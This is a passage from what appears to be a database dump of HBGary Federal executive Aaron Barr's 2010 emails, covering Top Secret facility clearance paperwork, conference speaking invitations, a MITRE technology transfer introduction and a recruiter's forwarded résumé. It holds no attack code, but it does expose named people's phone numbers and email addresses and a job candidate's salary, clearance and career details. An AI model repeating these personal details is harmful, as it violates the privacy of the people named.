Obtain and have available the following documents/information for your first visit from your Industrial Security Representative from DSS.\r\n>  \r\n> o    Articles of Incorporation, Stock Records, Minutes of Board Meetings, and Corporate by-laws.\r\n> o    Federal Tax ID Number.\r\n> o    Any 10K Reports filed with the Securities Exchange Commission.\r\n> o    Key Management Personnel List. The senior management official, the prospective Facility Security Officer (FSO), all executive committee members, and all board members including the Chairman should be listed.  NISPOM paragraph 2-104 provides some guidance, and additional guidance will be provided by your Industrial Security Representative during the first visit.\r\n> o    Brief summary of your company\'s primary business or services provided.\r\n> o    E-mail, Fax, and complete address information for the last ten years — include the last four number extension on your zip code.\r\n> o    Proof of US Citizenship for prospective Facility Security Officer (FSO) (see NISPOM para 2-207).\r\n> ·         Personnel Security Clearance:  In order for your company to be cleared, specified Key Management Personnel (KMP) must be cleared.  Other KMP may be excluded, unless they will require access to classified information.  Your Defense Security Service Industrial Security Representative will help you identify those that must be cleared and those that may be excluded.  This must be done as soon as possible!\r\n> ·         Fingerprint Cards (FD 258): These forms will be in the initial package mailed to you by the Facility Clearance Branch and should be mailed to OPM (see below). Only use the forms that are provided to you--other types of fingerprint cards, such as local law enforcement forms, will be rejected.\r\n> \r\n> US Mail:\r\n> E-QIP Rapid Response Team\r\n> OPM-FIPC\r\n> Post Office Box 618\r\n> Boyers, PA 16018\r\n> \r\n> FedEx:\r\n> E-QIP Rapid Response Team\r\n> OPM-FIPC\r\n> 1137 Branchton Road\r\n> Boyers, PA 16020\r\n> ·         DEFENSE SECURITY SERVICE FACILITY PROCESS FORMS:  Complete the following documents for review by your Industrial Security Representative from Defense Security Service.\r\n> ·         DD Form 441 This is the Department of Defense Security Agreement.  It is an agreement between your organization and the United States Government that details the security responsibilities of both the cleared organization and the United States Government.  Submit in duplicate.  Do not date; date will be added when the Facility Clearance is granted by the authorized government representative. \r\n> o    Corporations:  Show name as it appears on Articles of Incorporation.  All forms must be signed by a corporate officer, and the Certificate portion must be signed by a second officer such as the corporate secretary.  No witnesses are required.  All forms must be impressed with the corporate seal, if there is one.\r\n> o    Partnership:  Show correct legal name of the business and full names of all general partners.  All forms must be signed by a partner.  Two witnesses\' signatures are required.\r\n> o    Proprietorship:  Show the full name of the owner and the correct legal name of the business.  All forms must be signed by the owner.  Two witnesses\' signatures are required.\r\n> ·         DD Form 441-1 This is an attachment to the DD Form 441 that lists cleared divisions or branch offices that are included in and covered by the provisions of the organization\'s Security Agreement and Certificate Pertaining to Foreign Interest. Submit in duplicate only if you are a division of a Home Office with a Facility Clearance.  Date of Security Agreement will be affixed by the authorized government representative.  Show correct legal name of the business organization.  It should be signed by an official of the company authorized to do so, such as the Corporate President.  When the executed copy is returned, one copy each of both the Security Agreement and Appendage should be sent to every facility listed.\r\n> ·         SF 328 Certificate Pertaining to Foreign Interest: The Certificate Pertaining to Foreign Interest is used to report your organization\'s foreign involvement.  Submit one copy and retain one executed copy.  Fully explain all \"yes\" answers.  Click on Instructions for completing the SF 328 to see further instructions.\r\n>  \r\n>  \r\n> -John\r\n>  \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, August 20, 2010 4:00 PM\r\n> To: John Fanguy\r\n> Subject: Re: Top Secret Security Facilities\r\n>  \r\n> So based on this what is our status?  Should we submit rates, should we submit resumes?\r\n>  \r\n> Aaron\r\n>  \r\n> On Aug 20, 2010, at 3:59 PM, John Fanguy wrote:\r\n> \r\n> \r\n> H.1 FACILITY CLEARANCE\r\n> Access to classified information at the Top Secret level is required to support the Information Tech-nology Security Support Services contract. The Contractor and any subcontractor(s) shall provide special handling for TOP SECRET collateral classified and/or sensitive but unclassified (SBU) data. As such, the Contractor and any subcontractor(s) shall possess a current facility clearance at least at the TOP SECRET level. The prime contractor is responsible for ensuring that they and any subcon-tractor(s) comply with the provisions of the National Industrial Security Program Operating Manual (NISPOM).\r\n>  \r\n> -John\r\n>  \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, August 20, 2010 3:58 PM\r\n> To: John Fanguy\r\n> Subject: Re: Top Secret Security Facilities\r\n>  \r\n> I got really nervous. So then I can\'t submit folks for positions then right?\r\n>  \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 20, 2010, at 3:54 PM, John Fanguy  wrote:\r\n> \r\n> We can sponsor you, btw, to get it.  I’ll double-check but I think every sub needs it.  No biggee: the HBGary logo for the sw company will still be in there and you’ll get your percentage workshare.\r\n>  \r\n> -John\r\n>  \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, August 20, 2010 3:37 PM\r\n> To: John Fanguy\r\n> Subject: Re: Top Secret Security Facilities\r\n>  \r\n> I don\'t.\r\n>  \r\n> On Aug 20, 2010, at 3:35 PM, John Fanguy wrote:\r\n>  \r\n> \r\n> Please confirm back that you have a Top Secret Security Facility (required by TSA for all companies).\r\n>  \r\n> Thanks,\r\n>  \r\n> -John\r\n>  \r\n> John Fanguy\r\n> VP\r\n> Digital Management, Inc.\r\n> \"Leading Government Transformation\"\r\n> GSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n> --------------------------------------------------\r\n> 6701 Democracy Blvd, Suite 500\r\n> Bethesda, Maryland 20817\r\n> 301-346-6749 cell\r\n> 240-223-4800 main\r\n> \r\n> \r\n> \r\n>  \r\n>  \r\n>  \r\n\r\n',13243,'aaron_hbgary_com/13243.html'),(10844,'2010-08-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008335.M157511P14101Q5699.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Available Speaking Slot at the CIP Congress','Begin forwarded message:From: &quot;Robin Fantin&quot; &lt;rfantin@fsisac.us&gt;\r\nDate: August 24, 2010 4:04:59 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: Available Speaking Slot at the CIP Congress\r\n\r\n\r\n\r\n\r\nHello,\r\n\r\nWe’re looking to fill slots on the following panels at\r\nthe upcoming Critical Infrastructure Protection Congress.   I\r\nwanted to touch base to find out if there might be any interest? \r\nWe’re also still open to suggestions on topics.\r\n\r\n·        \r\n“Advanced\r\nPersistent Threat” and You:  Not Just a DIB Issue Anymore\r\n\r\nAttacks from highly organized, well trained and well funded\r\nadversaries are forcing policy makers and network defenders alike to adjust\r\nsecurity policies and procedures.  This focused discussion will provide\r\ncharacteristics of such attacks, discuss effective mitigation techniques and\r\nexplore what this threat means for policy makers and security practitioners.\r\n\r\n \r\n\r\n\r\n IT-ISAC Emerging Threat Report: The IT-ISAC Emerging\r\n     Threat Report represents the collective view of IT-ISAC members as to what\r\n     the key cyber threats are, and its potential impact on companies.   \r\n\r\n\r\n \r\n\r\n\r\n What is the National Strategy on Securing\r\n     Cyberspace?:  Over the past 18 months, there has been a lot of\r\n     attention focused on the cyber security, with the President declaring\r\n     Cyber Space a National Strategic Asset, the development of the National\r\n     Cyber Policy Review, the implementation of the Comprehensive National\r\n     Cyber Initiative, and the military’s creation of a Cyber Command. \r\n     Still, to many, it is not clear exactly what the national strategy\r\n     is.  What are the priorities and lines of responsibilities?  \r\n\r\n\r\n \r\n\r\n\r\n Understanding the\r\n     National Cyber Incident Response Plan:\r\n\r\n\r\nThis session brings together industry and government\r\nexperts who helped develop the National Cyber Incident Response Plan to discuss\r\nwhat it is, how companies can engage in it, and identify lessons learned from\r\nCyber Storm III \r\n\r\n \r\n\r\nSupply Chain - Proposed\r\n\r\nSoftware Assurance - Proposed\r\n\r\nI look forward to talking further.\r\n\r\nBest Regards,\r\n\r\nRobin Fantin\r\n\r\nVP, Marketing\r\n\r\nFS-ISAC\r\n\r\n281.419.4127\r\n\r\nrfantin@fsisac.us\r\n\r\n \r\n\r\nP.S.  If you were able to do a gold sponsorship you\r\nwould have a standalone speaking slot in a breakout and select your own topic/presentation.\r\n\r\nAlso, here’s an update on keynote speakers:\r\n\r\nThe 2010 Critical Infrastructure\r\nProtection Congress will be held at the Gaylord National Hotel &amp; Convention\r\nCenter near Washington D.C.   November 30\r\nthrough December 2.\r\n\r\nKeynote Speakers include:\r\n\r\n \r\n\r\n·        \r\nJoseph\r\nLieberman, United States Senator\r\n\r\n·        \r\nRoger\r\nFerguson, former Vice Chair of the Board of Govenors\r\nof the Federal Reserve, currently President and CEO TIAA-CREF.\r\n\r\n·        \r\nGen.\r\nKeith Alexander, Former Director NSA and first commander of the US Cyber Command\r\n\r\n·        \r\nHoward\r\nSchmidt, White House Cybersecurity Coordinator\r\n\r\n·        \r\nPaul\r\nStockton, Assistant Secretary of Defense for Homeland Defense\r\n\r\n·        \r\nTodd\r\nM. Keil  -  Assistant Secretary for\r\nInfrastructure Protection at the U.S. Department of Homeland Security\r\n\r\n \r\n\r\nThe\r\ntheme for this year’s Congress is “Manage Risk With Resilience -\r\nHow we can Resist, Respond and Reconstitute in the Face of Major Threats and\r\nAttacks”\r\n\r\n \r\n\r\nPresenting at the 2010 CIP Congress represents a unique\r\nopportunity to interact with senior executives in the CIP space in an intimate\r\nconference setting.  We are looking for proposals addressing a broad\r\nrange of CIP issues including risk assessment and mitigation, response and\r\nresilience.  Speaking proposals must be completed on-line at the CIP\r\nCongress web site.\r\n\r\n \r\n\r\nHere\r\nare just a few of the event highlights:\r\n\r\n \r\n\r\n·        \r\n350\r\n- 400 senior-level executives and practitioners in the Critical Infrastructure\r\nProtection space from both the private and public sectors will be in\r\nattendance. The CIP Congress is the only cross-sector conference on critical\r\ninfrastructure protection.\r\n\r\n \r\n\r\n·        \r\nHigh\r\nlevel representatives from the public sectors including the Departments of\r\nCommerce, Energy, Homeland Security, Justice, Treasury, Transportation, HHS,\r\nState and Local officials and others.\r\n\r\n \r\n\r\n·        \r\nSenior\r\nlevel executives from the private sector from communications, financial\r\nservices, technology, utilities and transportation and others.\r\n\r\n \r\n\r\n·        \r\nAttendees\r\nrepresent executives and senior level experts in information security, physical\r\nsecurity, business continuity, and disaster recovery, governance and compliance\r\ndisciplines.\r\n\r\n \r\n\r\n·        \r\nThe\r\nCIP Congress will include several outstanding networking events that will\r\nfoster important interaction between key players in CIP. \r\n\r\n \r\n\r\nYou must sponsor\r\nin order to be considered to serve on a panel or present.  The CIP\r\nCongress is organized by non-profits and the majority of funding is provided by\r\nsponsors for this event. \r\n\r\n \r\n\r\nPlatinum\r\nand Gold Sponsors: You\r\nwill have the opportunity to present during a general session or breakout\r\nsession and are required to complete the call for speakers.  We strongly\r\nencourage you to include practitioners and clients in your presentation.\r\n  Interested platinum sponsors may contact Robin Fantin to discuss\r\nindividual opportunities.\r\n\r\n \r\n\r\nSilver\r\nSponsors:\r\nMany of our panelist slots will be filled from the CIP 2010 Sponsor\r\ncommunity.  On the sponsor registration link there is a list of topics\r\navailable.  You may select one of the options listed or enter a new topic\r\nfor consideration and a panel may be added.\r\n\r\n \r\n\r\nAdditional\r\ninformation the 2010 CIP Congress and the sponsor prospectus can be\r\nfound at www.cip2010.com \r\n\r\n \r\n\r\nThe 2010 Critical\r\nInfrastructure Protection Congress is co-sponsored by the following\r\ncross-sector, not-for-profit organizations: The National  Council of\r\nInformation Sharing and Analysis Centers (ISACs), InfraGard\r\nNational Members Alliance (INMA),\r\nthe Partnership for Critical Infrastructure Security (PCIS) and\r\nthe Business Continuity Institute (BCI).\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',470,'aaron_hbgary_com/470.html'),(10845,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008335.M422194P14101Q5700.eml','\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>,\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>,,,','Re: 2011 DOJ Cyber Security Conference','Ron,\r\n\r\nHere you go.  Let me know if you need anything else.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Aug 23, 2010, at 2:19 PM, Bushar, Ronald (JMD) wrote:\r\n\r\n> Aaron,\r\n> Thanks for the response.  I was at that REBL presentation, and thought it was very good.  Please fill out the attached nomination form and I will get you scheduled in.  Thanks, and I look forward to your participation. \r\n>  \r\n> \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: 23 August, 2010 13:24\r\n> To: Bushar, Ronald (JMD)\r\n> Cc: \'Maria Lucas\'; Rich Cummings; Ted Vera; Karen Burke\r\n> Subject: Re: 2011 DOJ Cyber Security Conference\r\n> \r\n> \r\n> Hi Ron,\r\n> \r\n> As Maria mentioned we are a \"sister\" company to HBGary, Inc. and are focused on delivering services with one of our focus areas being social media consulting and training.  We gave a presentation a few months back at the NSA REBL conference on Social Media, Exploitation, and Persistent Internet operations and have more conferences scheduled over the coming months on similar topics.  We emphasis effective use, risks, social media reconnaissance, and protective measures.  I would be happy to give a SM presentation if its fits within your conference objectives.\r\n> \r\n> Aaron\r\n> \r\n> On Aug 23, 2010, at 11:30 AM, Bushar, Ronald (JMD) wrote:\r\n> \r\n>> Thanks Maria!\r\n>> \r\n>> From: Maria Lucas [mailto:maria@hbgary.com] \r\n>> Sent: 23 August, 2010 11:29\r\n>> To: Bushar, Ronald (JMD)\r\n>> Cc: Rich Cummings; Aaron Barr; Ted Vera; Karen Burke\r\n>> Subject: Re: 2011 DOJ Cyber Security Conference\r\n>> \r\n>> Hi Ron\r\n>>  \r\n>> We are honored to be asked!\r\n>>  \r\n>> Karen Burke is our marketing manager.  She will work with you to schedule a speaker and pin down a topic.  We have a \"sister\" company HBGary Federal and I\'ll include them. Their focus is Services and Social Engineering Training -- they will reach out as well.\r\n>>  \r\n>> Maria\r\n>> \r\n>> \r\n>>  \r\n>> On Mon, Aug 23, 2010 at 5:42 AM, Bushar, Ronald (JMD)  wrote:\r\n>> Hi Maria,\r\n>>  \r\n>> I know we are in the middle of the pilot stuff, but I wanted to reach out on another front.  The Department is hosting a Cyber Security Conference early next year, and I was wondering if you would be willing to consider having an HBGary representative speak at the conference.   The conference dates are 8-9 February 2011 and the theme is: DOJ Cyber Security \"Leveraging a Collaborative Defense.\"   The conference will feature managerial and technical tracks with tracks typically 45 minutes to an hour in length.  As with this year\'s conference, we are trying to include topics which provide our security professionals practical information (e.g. something they can apply to their work).  Topics will need to be submitted for review and approval.\r\n>>  \r\n>> If you\'re interested please let me know and thanks for your consideration.\r\n>>  \r\n>> Best Regards,\r\n>> Ron\r\n>>  \r\n>> __________________________________________\r\n>> Ronald Bushar\r\n>> Deputy Director | Justice Security Operations Center\r\n>> Department of Justice\r\n>> ron.bushar@usdoj.gov\r\n>> O: 202.353.8907 | M: 202.598.9326\r\n>> DOJCERT: 202.307.5332\r\n>>  \r\n>>  \r\n>> \r\n>> \r\n>> \r\n>> -- \r\n>> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>> \r\n>> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n>> email: maria@hbgary.com \r\n>> \r\n>>  \r\n>>  \r\n> \r\n> \r\n\r\n',14459,'aaron_hbgary_com/14459.html'),(10846,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008335.M635510P14101Q5701.eml','\"Dizon, Ray\" <rdizon@mitre.org>','Re: MITRE intro','HI Ray,\r\n\r\nDefinitely.  As a follow up to our last conversation I would like to get a better appreciation for the technologies and capabilities you have and see where they might fit.  Let me know when are some good dates.\r\n\r\nAaron\r\nOn Aug 17, 2010, at 3:59 PM, Dizon, Ray wrote:\r\n\r\n> Aaron,\r\n> \r\n> Just catching up with you again.\r\n> \r\n> Hope all went well at Black Hat, I did get some interesting tidbits out of there from other companies.\r\n> \r\n> When you have some time, let\'s see if you have any interest in one or more initiatives going on here at MITRE.  Would be good to get your feedback, given your involvement in the field.\r\n> \r\n> Ray\r\n> \r\n> \r\n> Ray Dizon\r\n> Director, Technology Transfer Office\r\n> The MITRE Corporation\r\n> N680\r\n> 7515 Colshire Drive\r\n> McLean, VA 22102\r\n> 703-983-7132\r\n> rdizon@mitre.org\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Dizon, Ray \r\n> Sent: Friday, July 23, 2010 2:39 PM\r\n> To: \'Aaron Barr\'\r\n> Subject: RE: MITRE intro\r\n> \r\n> Aaron,\r\n> \r\n> Thanks for coming in....you have a lot of good things going on at HB Gary.  \r\n> \r\n> Here is a sampling of some of the projects ongoing relating to your own line of work.  I am somewhat vague about titles, etc., because of the sensitivity of how this might be implemented.  Certainly, we can arrange some way to formalize through an NDA so we can engage in more detailed discussion between our staff and yourselves.\r\n> \r\n> DMZ Capability\r\n> Phylogenetic Models for Malware\r\n> Honeyclient (open source but with some other data/code in addition that can be licensed)\r\n> Root Kit Detection Technology\r\n> Next Generation Debugger for Malware\r\n> Manifold Learning and Dimension Reduction for Classification\r\n> Triage tool for incident response teams (sandbox-related)\r\n> \r\n> And then, hopefully, you can apply one or more of these technologies to your federal business customers.\r\n> \r\n> Let\'s discuss what you\'d like to see out of all of these projects and go from there.  I know that next week is pretty much out.....I did gather that we\'d have some representation at Black Hat as well.  I think we may have at least one speaker who might discuss one of these listed technologies.  In the meantime, have a good trip out to LV.\r\n> \r\n> Ray\r\n> \r\n> \r\n> Ray Dizon\r\n> Director, Technology Transfer Office\r\n> The MITRE Corporation\r\n> N680\r\n> 7515 Colshire Drive\r\n> McLean, VA 22102\r\n> 703-983-7132\r\n> rdizon@mitre.org\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, July 21, 2010 12:45 AM\r\n> To: Dizon, Ray\r\n> Subject: Re: MITRE intro\r\n> \r\n> Yep.  See you at 3\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 20, 2010, at 1:18 PM, \"Dizon, Ray\"  wrote:\r\n> \r\n>> It would have to be 3:00 tomorrow.  Is that OK?\r\n>> \r\n>> I did see that BlackHat is on, got an email from someone else on it.  I see that one of your folks is a speaker.  Would have been interesting to have gone there.\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, July 20, 2010 12:36 PM\r\n>> To: Dizon, Ray\r\n>> Subject: Re: MITRE intro\r\n>> \r\n>> Shoot!  I am very sorry Ray.  I can do same time tomorrow if you can.\r\n>> Otherwise after blackhat.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jul 20, 2010, at 9:52 AM, \"Dizon, Ray\"  wrote:\r\n>> \r\n>>> Didn\'t see you last week......did you want to try again?\r\n>>> \r\n>>> Ray\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Dizon, Ray\r\n>>> Sent: Friday, July 09, 2010 10:05 AM\r\n>>> To: \'Aaron Barr\'\r\n>>> Subject: RE: MITRE intro\r\n>>> \r\n>>> Thursday the 15th is the better day, how about 2:00?\r\n>>> \r\n>>> Ray\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Friday, July 09, 2010 10:03 AM\r\n>>> To: Dizon, Ray\r\n>>> Subject: Re: MITRE intro\r\n>>> \r\n>>> Sounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n>>> \r\n>>>> David, thanks, see you soon.\r\n>>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> Be happy to catch up with you some time to chat about social media, etc.\r\n>>>> \r\n>>>> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n>>>> \r\n>>>> Ray\r\n>>>> \r\n>>>> \r\n>>>> Ray Dizon\r\n>>>> Director, Technology Transfer Office\r\n>>>> The MITRE Corporation\r\n>>>> N680\r\n>>>> 7515 Colshire Drive\r\n>>>> McLean, VA 22102\r\n>>>> 703-983-7132\r\n>>>> rdizon@mitre.org\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: David Etue [mailto:david@etue.net]\r\n>>>> Sent: Thursday, July 08, 2010 9:07 AM\r\n>>>> To: Aaron Barr; Dizon, Ray\r\n>>>> Subject: MITRE intro\r\n>>>> \r\n>>>> Ray - looking forward to meeting this afternoon.  I wanted to provide a\r\n>>>> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary\r\n>>>> Federal.  Aaron and I have looked to do some work together around social\r\n>>>> media security, and during our discussions he mentioned there was some\r\n>>>> technology in MITRE around social media that may be available for tech\r\n>>>> transfer.  I wanted to connect the two to discuss further.\r\n>>>> \r\n>>>> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.\r\n>>>> Before joining MITRE, he was an investor in Fidelis while at the\r\n>>>> Maryland Venture Fund.  Beyond being the right person to talk to about\r\n>>>> this particular opportunity, Ray is a great guy to know in the DC tech\r\n>>>> community.\r\n>>>> \r\n>>>> I\'ll let you two connect directly from here.\r\n>>>> \r\n>>>> David\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n\r\n',16249,'aaron_hbgary_com/16249.html'),(10847,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008335.M853811P14101Q5702.eml','nolan@informationsecuritysolutionsllc.com','Re: Lunch','Hey Nolan,\r\n\r\nCan you split the difference?  How about some goood indian food in Bathesda?\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 12:02 PM, Nolan Clifford wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> That sounds good, especially if you can come to Columbia...  :)  I\'m\r\n> managing 12 TTOs now so it is quite busy!\r\n> \r\n> Cheers,\r\n> Nolan\r\n> \r\n> Nolan Clifford, CISSP, CFCP\r\n> CEO, Information Security Solutions\r\n> www.informationsecuritysolutionsllc.com\r\n> 703-945-7480 -Blackberry\r\n> 703-869-7396 - Mobile\r\n> \r\n> -----Original Message-----\r\n> From: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 10:31 AM\r\n> To: Nolan Clifford\r\n> Subject: Lunch\r\n> \r\n> Hey Nolan,\r\n> \r\n> It\'s been a long time.  I know your busy with NANA.  Want to do lunch?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n\r\n',10551,'aaron_hbgary_com/10551.html'),(10848,'2010-08-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008336.M96837P14101Q5703.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: 7','ok sorry Ed dropped the ball, just got busy.I will get the form back to you tonight. &nbsp;Lots of things going on. &nbsp;Right now I am most interested in Reverse engineers, experienced forensics, system/software/media exploitation guys will ISSA. :) &nbsp;Its a tall order.AaronOn Aug 19, 2010, at 11:55 AM, Ed Wallach wrote:Thanks Aaron!I\'m actively recruiting more as well.&nbsp;Ed~~~~~~~~~~~~~~~~~Ed WallachPresident &amp; CEO&nbsp;Ed Wallach Search Group301-365-3291 office301-613-0629 cellwww.wallachsearch.comed@wallachsearch.comRECRUITING INTELLIGENCEOn Aug 19, 2010, at 11:42 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:This one interests me.Let me take a look at the agreement you sent and get it back to you and we can go further.AaronOn Aug 18, 2010, at 3:26 PM, Ed Wallach wrote:Interesting background...don\'t think she has a poly...waiting for more info from her including an updated resume, tickets etc...She owns a home in VAShe\'s available to interview immediately and can begin a new position in October.&nbsp;&nbsp;7$130K Minimum desiredActive ClearancesOBJECTIVES&nbsp;Versatile and team player, 7 is seeking a position to apply her technical, analytical, managerial, and leadership skills. 7 is acquainted with DoD information assurance program, ISO 17799/27001 and SABSA Security Framework. Good understanding with regards to the applications of the special publications of the National Institute for Standard and Technology (NIST). 7 has written several essays about Information Assurance (IA) (refer to publications in the resume below). 7 participated in missions supporting computer network defense response action (CND/RA). She conducted&nbsp;vulnerability&nbsp;assessments, analyzed security threats and techniques, tactics, and procedures (TTP) of cyber threats and cyber crimes. Her overall experience encompasses the entire spectrum of technical IA and security management.&nbsp;Accept 25-75% travel CONUS and OCONUS with negotiable compensation.PROFESSIONAL RELEVANT EXPERIENCE PACIFIC NORTHWEST NATIONAL LABORATORY (PNNL) headquarter in Richland , WACurrent&nbsp;Engineer Scientist IVNetwork forensics analysis and data set analysis&nbsp;Assumption-based queries and identification to isolate&nbsp;and confirm abnormal traffic&nbsp;researches in cyber security related topics&nbsp;SECURICON - Arlington, VA2008Senior Security Intrusion Analyst Digital Investigation - Information AssuranceContract with JTF-GNO - DISASenior Security Intrusion Analyst Cyber intelligence and digital security investigation&nbsp;Network security experience on Windows and UNIX system (NetFlow)Collect and investigate the current cyber-threats and related attacks vectors against the global information grid (GIG) and, perform networkvulnerability&nbsp;analysis, security monitoringParticipate in the joint Intel fusion coordination between the different downstream and upstream organizations: JTF-GNO at DISA, NSA, FBI, US-CERT, NOSC, USMC, AFNOSC, ACERT, and other collateral major command (CENTCOM, PACOM, TRANSCOM, and etc) and other regional government organizationsSRA International Arlington, VA2004 - 2008&nbsp;Security Network Engineer &amp; Information Assurance AnalystSecurity Analyst &amp; Security Network auditingDigital forensics investigation (DFI)Security analyst and auditor Guidance and Compliance of the internal information system infrastructureDefined audit requirements and scope, investigate and document findings in an audit reportRecommended security solution to protect the internal information system infrastructureParticipated in writing and reviewing System Security Plan (SSP) and internal security policiesINSCOM - 1st Information Operation Command - Fort Belvoir, VA - Jan. 2005 - Jul. 2007Information Security OfficerArmy Computer Emergency Response (ACERT)Support Mission - Computer Network Operations Defense (CNOD)Implemented the tactics, techniques, and procedures (TTPs) supporting Computer Network Defense (CND) Response Action (CND-RA)Worked closely with various Army and government agencies (US Army Criminal Investigation Command (CID), US Army Computer Emergency Response Teams (ACERT), various Regional Computer Emergency Response Teams (RCERTs), Army research&nbsp;Labs, Joint Task Force/Global Network Operations (JTF-GNO) and National Security Agency (NSA)Functional assignment as security officer responsible for enforcing correct measure of protection within classified environment&nbsp;Leadership position Ft Gordon: supervised and managed 18 soldiers within the context of Warrant Officer Basic Course (WOBC) and leadership development.GENERAL DYNAMICS (sub-contract) - Arlington, VA Pentagon Renovation Project Oct. 2003 - May 2004.Senior Quality Assurance Automated System Network Infrastructure.Quality Management Assurance ISO QMS 9000 complianceVerified compliance between pre-deployment configurations devices with logical layer requirement. Provided on-site Pentagon installation QA support and inspectionDeveloped quality records and reports quality matrices.US ARMY NATIONAL GUARD Colorado Springs, CO193rd Army Space Support Battalion Nov. 2002 to Oct. 2004&nbsp;SATCOM Technician193rd Space Command Support BN, Peterson AF Base, Colorado&nbsp;Space Electronic warfare Detachment (SEWD) SpaceCentral Mission Area warfare in support of DoD duringMission Iraqi Freedom.&nbsp;RF and SATCOM communications in support of Operations Iraqi Freedom (OIF) in theater (oversea)LEVEL(3) COMMUNICATIONS - Broomfield, CO&nbsp;Feb 2001 July 2002&nbsp;Network EngineerTier III WAN Network Operations Engineer responsible for the management, monitoring, and maintenance of a multi-vendor global IP network in USA, Asia, and EUInitiated the need for configuration management for Network Operating Center (NOC). Developed and managed change control and procedures for configuration changes (configuration management)FIRSTWORLD COMMUNICATIONS - Englewood, CO&nbsp;Fall 1999 Feb 2001Network engineer and team leader in the NOCCisco CCNA Academy Instructor at Red Rock CommunityCollege (RRCC)NATIONAL RENEWABLE ENERGY LAB. (NREL) DoE Golden, CO (1998 1999)Laboratory TechnicianFundamental researches&nbsp;in Organic ChemistryMILITARYUS ARMY RESERVE Service Member (SM) Fort Belvoir, VA1st Information Operations Command Support Battalion&nbsp;Warrant OfficerUS NATIONAL GUARD SM - Peterson AF Base, CO193rd Army Space Support Battalion&nbsp;US NATIONAL GUARD SM - Buckley AF Base, CODetachment 5 Army Medical Support BattalionCLEARANCES Need to KnowFORMAL EDUCATION&nbsp;NORWICH UNIVERSITYMasters of Science in Information Assurance (MSIA), 2007 Program accredited by NSA&nbsp;GPA = AJOHNS HOPKINS UNIVERSITYCompleted coursework: JAVA Programming &amp; Biostatistics Analysis, 2004SORBONNE UNIVERSITYPost-master and Masters of Art (MA) degree in Philosophy, 1993Received Very High HonorsTECHNICAL DEVELOPMENT COURSES AND TRAININGS Cisco Certified Network Associate (CCNA), 2000Cisco Certified Network Professional (CCNP), 2002&nbsp;Inter-Services Space Fundamental, U.S. Air Force, 2002Certified Information Systems Security Officer (ISSO), 2003&nbsp;UNIX System Architecture, 2003Certified&nbsp;ethical&nbsp;Hacker (CEH), 2005E-Council Certified Security Analyst (ECSA), 2006RedHat Training Administration and Network Security, 2007CompTIA Security +, 2008GIAC System Network Auditor (GSNA), 2008PCI/DSS 1.2 Becoming and Staying Compliant (training 2008)SANS GIAC Certified ISO-17799 Specialist (G7799), 2009Joint Network Attack Course (JNAC), 2009SANS GIAC Security Essentials Certification (GSEC), 2009SANS GIAC Certified Forensic Analyst (GCFA) , 2010Memberships:InfraGard Member - Washington Field ChapterISACA (National Capital Area)&nbsp;SANS MemberSSI/PAFI CertifiedToastmaster memberSKILLS SET&nbsp;NETWORK and IT SECURITY:Digital data analysis: file system analysis (Fat, NTFS, UFS, ext2/3). Toolkit: SleuthKit (mactime, mac-robber, etc), Traffic flaw (SiLK), Wireshark, Autopsy, 